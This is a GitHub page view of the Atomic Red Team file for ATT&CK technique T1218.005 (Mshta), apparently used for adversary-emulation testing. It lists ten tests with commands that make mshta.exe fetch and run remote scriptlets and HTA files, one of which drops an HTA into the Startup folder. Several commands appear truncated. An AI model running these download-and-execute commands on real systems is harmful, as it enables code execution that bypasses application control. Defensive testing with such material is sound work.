

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1218.005 / T1218.005.md

CircleCI Atomic Red Team doc...

Generate docs from job=genera...

bc21f59 · 3 years ago

History

Preview

Code

Blame

462 lines (244 loc) · 13.8 KB

Raw

# T1218.005 - Mshta

## Description from ATT&CK

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: `mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sc t""))")`)







They may also be executed directly from URLs: `mshta http[:]//webserver/payload[.]hta`

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

## Atomic Tests

- [Atomic Test #1 - Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject](#)
- [Atomic Test #2 - Mshta executes VBScript to execute malicious command](#)
- [Atomic Test #3 - Mshta Executes Remote HTML Application \(HTA\)](#)
- [Atomic Test #4 - Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement](#)
- [Atomic Test #5 - Invoke HTML Application - Jscript Engine Simulating Double Click](#)
- [Atomic Test #6 - Invoke HTML Application - Direct download from URI](#)
- [Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler](#)
- [Atomic Test #8 - Invoke HTML Application - JScript Engine with Inline Protocol Handler](#)
- [Atomic Test #9 - Invoke HTML Application - Simulate Lateral Movement over UNC Path](#)

Page 1 of 7

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

- [Atomic Test #10 - Mshta used to Execute PowerShell](#)

## Atomic Test #1 - Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject

Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.

Supported Platforms: Windows

auto\_generated\_guid: 1483fab9-4f52-4217-a9ce-daa9d7747cae

Inputs:

Name	Description	Type	Default Value
file_url	location of the payload	Url	<a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct</a>

Attack Commands: Run with `command_prompt` !

```
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
```

## Atomic Test #2 - Mshta executes VBScript to execute malicious command

Run a local VB script to run local user enumeration powershell command. This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems. Upon execution, a new PowerShell windows will be opened that displays user information.

Supported Platforms: Windows

auto\_generated\_guid: 906865c3-e05f-4acc-85c4-fbc185455095

Attack Commands: Run with `command_prompt` !

```
mshta vbscript:Execute("CreateObject("Wscript.Shell").Run ""powershell
```

## Atomic Test #3 - Mshta Executes Remote HTML Application (HTA)

Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.

Supported Platforms: Windows

auto\_generated\_guid: c4b97eeb-5249-4455-a607-59f95485cb45

Inputs:

Name	Description	Type	Default Value
temp_file	temp_file location for hta	String	\$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta

hta_url	URL to HTA file for execution	String	<a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta</a>
---------	-------------------------------	--------	---

Attack Commands: Run with powershell!

```
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
```

Cleanup Commands:

```
remove-item "#{temp_file}" -ErrorAction Ignore
```

## Atomic Test #4 - Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement

Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.

Supported Platforms: Windows

auto\_generated\_guid: 007e5672-2088-4853-a562-7490ddc19447

Inputs:

Name	Description	Type	Default Value
script_engine	Script Engine to use	String	JScript
hta_file_path	HTA file name and or path to be used	String	Test.hta
mshta_file_path	Location of mshta.exe	String	\$env:windir\system32\mshta.exe

Attack Commands: Run with powershell!

```
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{
```

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #5 - Invoke HTML Application - Jscript Engine Simulating Double Click

Executes an HTA Application using JScript script engine simulating double click.

### Supported Platforms: Windows

auto\_generated\_guid: 58a193ec-131b-404e-b1ca-b35cf0b18c33

Inputs:

Name	Description	Type	Default Value
script_engine	Script Engine to use	String	JScript
hta_file_path	HTA file name and or path to be used	String	Test.hta

Attack Commands: Run with powershell!

```
Invoke-ATHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{
```

Dependencies: Run with `powershell`!

**Description:** The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

### Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

### Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #6 - Invoke HTML Application - Direct download from URI

Executes an HTA Application by directly downloading from remote URI.

### Supported Platforms: Windows

auto\_generated\_guid: 39ceed55-f653-48ac-bd19-aceceaf525db

**Inputs:**

Name	Description	Type	Default Value
mshta_file_path	Location of mshta.exe	String	\$env:windir\system32\mshta.exe
hta_uri	URI to HTA	Url	<a href="https://raw.githubusercontent.com/redcanaryco/infection-monster/master/HTA/hta_exe_payloads/hta_exe_payload_1.0.0.0.exe">https://raw.githubusercontent.com/redcanaryco/infection-monster/master/HTA/hta_exe_payloads/hta_exe_payload_1.0.0.0.exe</a>

## Attack Commands: Run with powershell!

```
Invoke-ATHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file}
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler

Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.

Supported Platforms: Windows

auto\_generated\_guid: e7e3a525-7612-4d68-a5d3-c4649181b8af

Inputs:

Name	Description	Type	Default Value
rundll32_file_path	Location of rundll32.exe	Path	\$env:windir\system32\rundll32.exe
script_engine	Script Engine to use	String	JScript
protocol_handler	Protocol Handler to use	String	About

Attack Commands: Run with powershell!

```
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocol
```

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #8 - Invoke HTML Application - JScript Engine with Inline Protocol Handler

Executes an HTA Application with JScript Engine and Inline Protocol Handler.

Supported Platforms: Windows

auto\_generated\_guid: d3eaaf6a-cdb1-44a9-9ede-b6c337d0d840

Inputs:

Name	Description	Type	Default Value
mshta_file_path	Location of mshta.exe	Path	\$env:windir\system32\mshta.exe
script_engine	Script Engine to use	String	JScript
protocol_handler	Protocol Handler to use	String	About

Attack Commands: Run with powershell!

```
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocol
```

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #9 - Invoke HTML Application - Simulate Lateral Movement over UNC Path

Executes an HTA Application with Simulate lateral movement over UNC Path.

Supported Platforms: Windows

auto\_generated\_guid: b8a8bdb2-7eae-490d-8251-d5e0295b2362

Inputs:

Name	Description	Type	Default Value
mshta_file_path	Location of mshta.exe	String	\$env:windir\system32\mshta.exe

Attack Commands: Run with powershell!

```
Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{m
```

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication'])
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #10 - Mshta used to Execute PowerShell

Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto\_generated\_guid: 8707a805-2b76-4f32-b1c0-14e558205772

Inputs:

Name	Description	Type	Default Value
message	Encoded message to include	String	Hello,%20MSHTA!
seconds_to_sleep	How many seconds to sleep/wait	Integer	5

Attack Commands: Run with `command_prompt` !

```
mshta.exe "about:<hta:application><script language="VBScript">Close(Exec
```